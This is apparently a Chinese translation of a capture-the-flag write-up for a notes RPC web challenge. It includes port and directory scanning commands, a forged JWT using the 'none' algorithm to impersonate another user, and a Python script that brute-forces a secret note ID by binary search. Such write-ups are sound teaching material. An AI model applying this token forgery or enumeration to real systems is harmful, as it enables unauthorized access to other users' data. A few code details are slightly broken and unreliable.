原文鏈接:https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce
當你打開挑戰鏈接時會看到以下內容:
可以在挑戰網站上找到提示:http://159.203.178.9/
用瀏覽器打開網站,你會看到一個常規的HTML歡迎頁面:
看上去有一個祕密服務用來存儲筆記。標題說明它與RPC有關。
考慮到去年的題目,我認爲它可能被藏在80之外的端口上。於是做了個基本的nmap端口掃描:
nmap -sT 159.203.178.9 -p1-65535
沒想到,只有80和22端口打開着。
試過幾個涌現在腦海的目錄後,比如/xmlrpc.php、/notes、/rpc等,我放棄了並決定直接暴力破解。
我使用工具dirsearch並拿Jason Haddix的content_discovery_all.txt作爲字典:
python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php'
過了幾分鐘。掃描結束了,我得到兩個結果!
- /README.html
- /rpc.php
來看看這些uri都有些什麼。
深挖
README頁面的標題顯示“Notes RPC Documentation”。該頁面說:
This service provides a way to securely store notes. It’ll give them the ability to retrieve them at a later point. The service will return random keys associated with the notes. There’s no way to retrieve a note once the key has been destroyed. The RPC interface is exposed through the
/rpc.php
file. A call can be invoked through themethod
parameter. Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created.Authenticating to the service can be done through the
Authorization
header. When provided a valid JWT, the service will authenticate the user and allow to query metadata, retrieve a note, create new notes, and delete all notes.(翻譯)
本服務保證筆記的安全存儲。它會讓筆記在後續可被讀取。服務將返回與筆記相關聯的隨機密鑰。一旦密鑰被銷燬,就無法讀取筆記。 RPC接口暴露在/rpc.php
文件,可以通過method
參數調用。每個筆記都存儲在一個安全文件中,文件由唯一鍵、筆記和創建筆記的紀元時間組成。服務通過
Authorization
請求頭對用戶進行身份驗證。當提供有效的JWT時,該服務將對用戶進行身份驗證,並允許查詢元數據、讀取筆記、創建新筆記以及刪除所有筆記的操作。
該服務需要有效的JWT(JSON Web令牌)才能執行身份驗證。我們可以在服務中做以下操作:
- 查詢所有筆記的元數據
- 讀取筆記
- 創建一個新筆記
- 刪除所有筆記
其他沒什麼好看的。在標題“Versioning”下面提到了以下內容:
The service is being optimized continuously. A version number can be provided in the
Accept
header of the request. At this time, onlyapplication/notes.api.v1+json
is supported.(翻譯)
該服務正在不斷優化。通過請求的Accept
標頭中可以獲得版本號。目前,僅支持application/notes.api.v1+json
的類型。
似乎沒必要指出只允許JWT v1,有點奇怪。但是現在我要嘗試理解API的工作原理了。
createNote()
我嘗試用cURL來創建筆記:
curl 'http://159.203.178.9/rpc.php?method=createNote'
-H 'Content-Type: application/json'
-H 'Authorization:eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
響應如下:
{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}
不出意料,文檔中也提到“如果沒有指定ID,將填充16位隨機數”。如果我們指定任意ID會發生什麼?
curl 'http://159.203.178.9/rpc.php?method=createNote'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"id":"test", "note": "This is my note"}'
這次響應變成:
{"url":"\/rpc.php?method=getNote&id=test"}
nice!我們自己選擇ID。
getNote()
如果你用getNote()訪問同一筆記,會得到什麼呢?
curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6'
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
響應如下:
{"note":"This is my note","epoch":"1530279830"}
nice!但epoch
的值又是什麼呢?看上去像筆記創建時的時間戳,我使用date -r
很快驗證了這一想法。
getNotesMetaData()
再來試試訪問筆記的元數據:
curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
得到如下響應:
{"count":1,"epochs":["1530279830"]}
看上去count
代表筆記的數量,epochs
是已存在筆記的epoch數組。
我們來創建更多的筆記看會發生什麼,我重放了多次createNote()請求並查詢了元數據:
{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}
就像我猜的,數量增加了,筆記時間的順序也是單調遞增。最後添加的epoch排在數組的末尾。
再來試試重置筆記。
curl 'http://159.203.178.9/rpc.php?method=resetNotes'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
對應的響應:
{"reset": true}
沒啥亮點。只是爲了確認,我檢查了元數據,果然,我創建的所有筆記現在都消失了。
所以我們已經測試了服務中的所有方法,然後呢?讓我們看看是否可以打破它。
我嘗試更改Content-Types
、完全刪除Authorization
頭、重放請求並保持請求頭長度不變但只改一個字符等辦法,但都沒有效果 - 它響應
{"authorization":"is invalid"}
或{"authorization":"is missing"}
。還是別僥倖了。
重新挖掘
我打開Burp並測試了各種方法來產生異常,但看不出任何異常或奇怪的東西。貌似我錯過了本題很重要的線索。雖然應用程序本身很小,但我可能忽略了什麼東西。根據大學時期的在線挖洞經驗,我偶然查看了README.html的源代碼,並按Ctrl + F查找<!--'
看是否有隱藏的註解。哈!果然有東西。
隱藏在明文中…但卻看不見。我應該早點看到這個,但遲到總比沒有好。這表明我最初對API版本描述的懷疑是正確的——API v2有不一樣的地方。它們使用“優化的文件格式,在保存之前根據其唯一鍵值對筆記進行排序”。我google了一下,看看是否有這樣的文件格式。在我的一次搜索中,我找到了Amazon RedShift:
Amazon Redshift stores your data on disk in sorted order according to the sort key.
(翻譯)
Amazon Redshift依據排序鍵對你的數據排序並存儲入硬盤。
我後來意識到思路不對。爲什麼不直接用Fiddler抓包查看API v2?
我重複了之前的過程:
- 創建筆記會得到一個包含
id
參數的url - 獲取筆記內容會得到筆記(筆記內容)和
epoch
(時間戳)。 - 獲取筆記的元數據的響應似乎沒變。
- 重置筆記,將所有內容重置爲初始狀態。
一切似乎與v1相同。但是他們已經提到v2正在使用一些花哨的排序功能——那麼測試一下。文檔中說該方法“在保存之前根據其唯一鍵對筆記進行排序”。好吧,每個筆記都有兩個參數——筆記的ID(可以自己指定)和筆記內容。這裏的唯一鍵是筆記ID,這是符合邏輯。讓我們嘗試用隨機ID創建更多筆記,看看我們是否能找到一些東西。
看樣子要做好多手工工作,我討厭一遍又一遍地重複相同的事情——更改ID等等。我是自動化的忠實粉絲,用腳本可以做得更好。所以我使用requests庫和內置的json庫快速寫了一個Python腳本。
它看起來像這樣:
#!/usr/bin/env python3
import json
import requests as rq
from base64 import b64decode
def rpc(method, data=None, post=False):
headers = {
'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
'Content-Type': 'application/json',
'Accept': 'application/notes.api.v1+json',
}
url = 'http://159.203.178.9/rpc.php?method={}'.format(method)
if data:
data = json.dumps(data)
if post:
# POST with params
headers['Content-Length'] = str(len(data))
return rq.post(url, headers=headers, data=data)
else:
# GET with params
return rq.get(url, params=json.loads(data), headers=headers)
elif post:
# POST without params
return rq.post(url, headers=headers)
# GET request without params
return rq.get(url, headers=headers)
def get_note(ident):
r = rpc('getNote', data={'id': ident})
print(r.text)
if r.status_code == 200:
return r.json()['note']
def epochs():
r = rpc('getNotesMetadata')
if r.status_code == 200:
return r.json()['epochs']
return None
def reset():
r = rpc('resetNotes', post=True)
if r.status_code == 200:
return r.json()['reset']
return None
def create(ident, note='a'):
r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
if r.status_code == 400:
return False
elif r.status_code == 201:
return True
return None
其實是對API函數做封裝。現在,我們可以更輕鬆地與RPC輕鬆交互:
- create(id)將創建具有指定ID的筆記。
- epochs()會給你一個時間戳列表
- reset()將重置筆記並恢復初始狀態。
現在從剛纔停下的地方開始——隨機ID創建筆記。我們用字母表作爲ID創建一些筆記:
def main():
reset()
for i in 'abcdefghijklmnopqrstuvwxyz':
create(i)
print(epochs())
sleep(1)
if __name__ == '__main__':
main()
響應結果如下:
['1530286994']
['1530286994', '1530286996']
['1530286994', '1530286996', '1530286998']
['1530286994', '1530286996', '1530286998', '1530287000']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']
... so on ...
和之前一樣,最後創建的筆記添加在數組末尾。我用其他隨機字符串、數字等繼續測試一段時間。毫無頭緒!
我開始思考這道題的意圖。顯然其他人做這道題,但我能夠創建僅與我的會話相關的獨特筆記。
如果用戶身份驗證是基於某些請求頭,我可能會僞造一些請求頭來規避驗證。我嘗試過Host
,X-Forwarded-Host
,但無濟於事。經過一些嘗試,我得出結論,這可能是基於IP的身份驗證。
我覺得是時候回退,看看是否錯過了一些重要的東西(我經常這樣做)。我再次閱讀文檔,這次更仔細。關於JWT的部分引起了我的注意,我沒有過多探索那條路線。
關注JWT
那什麼是JWT?直接引用jwt.io的話(謝謝Auth0建立這個神器的網站):
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
(翻譯)
JSON Web Token(JWT)是一個開放標準(RFC 7519),它定義了一種緊湊且獨立的方式,用於在各方之間以JSON對象的形式安全地傳輸信息。此信息可以通過數字簽名進行驗證和信任。 JWT可以使用祕密(使用HMAC算法)或使用RSA或ECDSA的公鑰/私鑰對進行簽名。
來自維基百科的解釋:
JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this:
(翻譯)
JWT通常有三個部分:頭,有效負載和簽名。標頭記錄用於生成簽名的算法,看起來像這樣:
header = '{"alg":"HS256","typ":"JWT"}'
讓我們回過頭查看JWTAuthorization
頭。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
這就是我們的JWT(爲了易讀性做了換行)。第一部分是頭,第二部分是有效負載,第三部分是簽名。 簽名計算方式如下:
key = 'secretkey'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
既然已知頭、負載是base64編碼的,我們馬上得到實際值:
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}
同樣操作:
$ echo 'eyJpZCI6Mn0=' | base64 -D
{"id":2}
可以看到那裏有一個ID!我認爲可以假設它是用戶ID,那麼一直以來,我們一直在創建/查看/重置用戶ID 2的註釋。
(注意,我將填充=
添加到上面的base64字符串。雖然根據RFC 7515,填充在JWT中是可選的,但在解碼時,還是要提供填充以便返回正確的字符串表示。)
我們可以使用jwt.io提供的調試器來代替人工操作。
我們可以嘗試將ID改成別的,例如id=1。
但是有一個問題。服務器要驗證簽名。我們需要對載荷{"id": 2}
簽名。爲此,我們需要用於創建簽名的密鑰,但卻不知道。
在某些情況下破解用弱密碼簽名的JWT是可能的。我花了一些時間來爆破JWT。沒有用,所以我開始尋找與JWT相關的漏洞。
有趣的是,我發現了一個none
算法。它被用在已經驗證過Token完整性的情況。它和HS256是必須實現的兩種算法。
如果服務器的JWT實現是:所有驗證過簽名的Token在使用none算法後爲有效令牌,我們就可以使用任意負載創建自己的“簽名”令牌。
創建這樣的令牌非常簡單:
- 將標題更改爲
{"alg": "none"}
,而不是HS256。 - 將有效負載更改爲
{"id": 1}
- 設置空簽名
''
讓我們使用可用的JWT模塊做這事(我使用的是PyJWT):
In [1]: import jwt
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none')
In [3]: encoded
Out[3]: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'
現在我們有了JWT,就可以在用戶id爲1的會話下創建筆記;我們要做的就是將Authorization標頭更改爲這個新制作的JWT。
我首先像以前一樣使用小寫字母進行測試,結果一樣——它不斷將新筆記的時間戳添加到數組末尾。如果我嘗試使用大寫字母呢?
['1528911533'] # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G
1530295860
出現的形式不同(特別是在插入F之後)。它沒有被插入到最後。好吧,怎麼可能?!
突破
經過一番思考後,我驚奇地發現這些筆記是按字典順序排列的!
假設筆記的ID爲bar
。然後,如果我們添加的新筆記ID的字典順序<
(讀作:小於)bar
(例如abc
),它將被插入到bar
之前的位置;如果它是的字典順序>
bar
(例如zap
),它將在bar
之後插入。
所以在作比較時有某種特殊的排序功能。我們開始深入瞭解。好吧,我們可以查看源代碼,看看它是如何工作的,但我們只是凡人—— 我們無法訪問源代碼(Frans Rosen正在看着你)。因此,我插入更多的隨機筆記(不算非常隨機,我挑選了些可以讓我深入瞭解排序功能的樣本)。
我檢查了各種字母序列的順序(好吧,我寫了一個小腳本),並得到以下輸出:
['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']
<secret>
是保存祕密記錄的ID。一開始我沒看明白,但如果忽略第一個的首字母,那一切看起來就很正常一致了。如果我不忽略第一個字母,由於某種原因,1和9就在右邊那邊。
通過深入測試,我得到以下結論:
ab < abc < ac
ab < abc
a9b < 0z
a < aa
aa < aaa
- 等等…
從技術上來說,這並不是排序算法的一個小bug,我相信H1的邪惡人士想要讓題目變得更難,所以他們可能會加入這種“混淆”。
如果我們要重構服務中使用的比較功能,我們可以這樣寫:
letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters
# 1 if a > b
# 0 if a = b
# -1 if a < b
def compare(string_a, string_b):
global letters
for i, (a, b) in enumerate(zip(string_a, string_b)):
if i == 0:
alpha = '0123456789' + letters
else:
alpha = letters + '0123456789'
a_ind, b_ind = alpha.index(a), alpha.index(b)
if a_ind < b_ind:
return -1
elif a_ind > b_ind:
return 1
if len(a) < len(b):
return -1
elif len(a) > len(b):
return 1
return 0
好的。現在我們知道鍵值是如何比較了,可以開始尋找鍵值(ID)了。
暴力破解
我們從文檔中瞭解到一些:
- ID必須匹配該正則表達式
[a-zA-Z0-9] +
。 - ID可以超過16個字節。
一種簡單的方法是嘗試每一個可能的鍵。這需要花費很多時間和請求。
我們總結一下:
- 我們需要創建自定義ID的新筆記,並推斷我們的祕密筆記是在它之前還是之後。
- 我們只能使用比較運算符。
- 搜索空間已知——
[a-zA-Z0-9] +
。
這不就是二分查找!從現在開始,它變得非常簡單。我們只需要腳本化地暴力破解,並引入二分查找。
我的腳本(brute_secret_note.py
)像這樣:
#!/usr/bin/env python3
import json
from base64 import b64decode
import requests as rq
def rpc(method, data=None, post=False):
headers = {
'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
'Content-Type': 'application/json',
'Accept': 'application/notes.api.v2+json',
}
url = 'http://159.203.178.9/rpc.php?method={}'.format(method)
if data:
data = json.dumps(data)
if post:
# POST with params
headers['Content-Length'] = str(len(data))
return rq.post(url, headers=headers, data=data)
else:
# GET with params
return rq.get(url, params=json.loads(data), headers=headers)
elif post:
# POST without params
return rq.post(url, headers=headers)
# GET request without params
return rq.get(url, headers=headers)
def get_note(ident):
r = rpc('getNote', data={'id': ident})
if r.status_code == 200:
return r.json()['note']
def epochs():
r = rpc('getNotesMetadata')
if r.status_code == 200:
return r.json()['epochs']
return None
def reset():
r = rpc('resetNotes', post=True)
if r.status_code == 200:
return r.json()['reset']
return None
def create(ident, note='a'):
r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
if r.status_code == 400:
return False
elif r.status_code == 201:
return True
return None
def where(a, b):
for i, (x, y) in enumerate(zip(a, b)):
if x != y:
return i
return min(len(a), len(b))
def search(head, secret=0):
if head is '':
alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
else:
alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
i_min, i_max = 0, len(alpha) - 1
old_epochs = epochs()
tries = []
while i_min + 1 != i_max:
print('Search space: ', end='')
for i, c in enumerate(alpha):
print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
print('\x1B[0m')
i = (i_max + i_min) // 2
print('Trying', head + alpha[i])
r = create(head + alpha[i])
new_epochs = epochs()
ind = where(old_epochs, new_epochs)
old_epochs = new_epochs
if r is None:
print('Something has gone terribly wrong.')
exit(1)
elif r is False:
secret_note_id = head + alpha[i]
return secret_note_id
if ind <= secret:
secret += 1
i_min = i
elif ind > secret:
i_max = i
return search(head + alpha[i_min], secret)
reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))
encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found 💃💃💃: {}'.format(decoded_flag))
運行腳本:
python3 brute_secret_note.py
工作原理
search()是這裏最重要的函數。將search()想象爲只查找最後一個字母更容易理解,然後讓它調用自己。第一個if語句的存在是因爲第一個字母的排序與其餘字母的排序不同。對於第一個字母,'0'>'z'
,但對於其餘的字母,'0'
是可能的最小字母。
它是挨個字母比較的,然後下一個,依此類推。它首先檢查第一個字母,然後檢查下一個字母等。例如:'abc'>'abb'>'aac'
。
alpha
只是按順序排列的字母數組。 i_min
和i_max
是我們正在查看的字母表中的邊界。
首先,所有字母都在考察範圍內。i_min
爲0,i_max
是最後一個字母。使用二分搜索,把第一個字母放在範圍中間。 (i_min + i_max)// 2
用於查找此中間值。然後我添加頭部(最初是一個空字符串)和找到的字符以形成一個筆記ID並創建一個帶有該ID的註釋。
search()函數的最後一部分設置了下一次迭代的邊界。當createNote()返回false時,意味着我們已到達結尾,因此返回它。
一旦我們找到了祕密ID,我們用該ID調用getNote(),對它進行base64解碼,然後我們得到了這個flag:
702-CTF-FLAG:NP26nDOI6H5ASemAOW6g